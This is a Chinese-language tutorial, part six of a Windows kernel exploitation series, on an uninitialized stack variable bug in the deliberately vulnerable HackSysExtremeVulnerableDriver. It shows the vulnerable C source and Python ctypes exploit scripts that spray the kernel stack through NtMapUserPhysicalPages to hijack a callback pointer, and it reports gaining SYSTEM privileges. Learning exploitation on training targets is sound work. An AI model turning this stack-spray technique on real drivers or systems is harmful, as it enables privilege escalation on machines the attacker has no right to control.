Windows内核漏洞利用教程Part6:未初始化的栈变量

Author Avatar
leo00000 7月 04, 2018

Windows内核漏洞系列教程。

前言

part5中介绍了空指针引用导致的漏洞,本质上应该也是一种UAF。在本章中我们讲讨论另外一种漏洞类型,未初始化的栈变量。开发者在代码中定义了变量,但是并没有执行初始化,在运行时变量有了一个不确定的值,如果变量是栈变量,就导致了这种漏洞。这篇文章我们将介绍攻击者的利用方法。

漏洞分析

看一下UninitializedStackVariable.c文件:

NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;

#ifdef SECURE
    // Secure Note: This is secure because the developer is properly initializing
    // UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling
    // the callback
    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0};
#else
    // Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability
    // because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure
    // before calling the callback when 'MagicValue' does not match 'UserValue'
    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;
#endif

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(UNINITIALIZED_STACK_VARIABLE),
                     (ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));

        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);

        // Validate the magic value
        if (UserValue == MagicValue) {
            UninitializedStackVariable.Value = UserValue;
            UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
        }

        DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
        DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);

#ifndef SECURE
        DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif

        // Call the callback function
        if (UninitializedStackVariable.Callback) {
            UninitializedStackVariable.Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

我们很容易看到UninitializedStackVariable在非安全代码中没有进行初始化,在之后会调用未初始化变量的callback()方法。
在IDA中我们能看的更清楚点:

UserValue!=MagicValue时,对callback()的调用会调用一个不确定的地址,如果我们能控制callback的值,就有可能控制内核。

漏洞利用

用我们的脚本模板测试:

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)

    buf = "\xb0\xb0\xd0\xba"
    bufLength = len(buf)

    kernel32.DeviceIoControl(hevDevice, 0x22202f, buf, bufLength, None, 0, byref(c_ulong()), None)

if __name__ == "__main__":
    main()

驱动程序运行正常,然后我们修改MagicValue的值:

和我们分析的一样,调用callback造成了异常。现在我们就要想办法让callback指向我们的shellcode,通过下面的步骤可以达到目的:

  • 找到内核栈的初始化地址
  • 找到callback距离初始化栈地址的偏移
  • 通过用户输入喷射到内核栈(j00ru的博客)

在windbg中使用!thread命令,找到初始栈地址,然后计算出来callback的偏移。

得到偏移值为0x524,通过多次运行,你会发现偏移值是一个固定值。然后我们使用NtMapUserPhysicalPages.aspx)函数:

BOOL WINAPI MapUserPhysicalPages(
  _In_ PVOID      lpAddress,
  _In_ ULONG_PTR  NumberOfPages,
  _In_ PULONG_PTR UserPfnArray
);

通过阅读j00ru的博客,使用这个API,我们能够喷射1024 sizeof(ULONG_PTR)的数据,足够覆盖到偏移处。用喷射0x41414141*到内核栈上,在NtMapUserPhysicalPages结尾下断分析喷射效果:

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        sys.exit(-1)

    ptr_adr = "\x41\x41\x41\x41" * 1024

    buf = "\x37\x13\xd3\xba"
    bufLength = len(buf)

    ntdll.NtMapUserPhysicalPages(None, 1024, ptr_adr)

    kernel32.DeviceIoControl(hevDevice, 0x22202f, buf, bufLength, None, 0, byref(c_ulong()), None)

if __name__ == "__main__":
    main()

可以看到喷射后内核栈上callback已经被覆盖成了0x41414141,结合之前的shellcode,我们得到最终的EXP,验证结果如下:

最终获得系统管理员权限。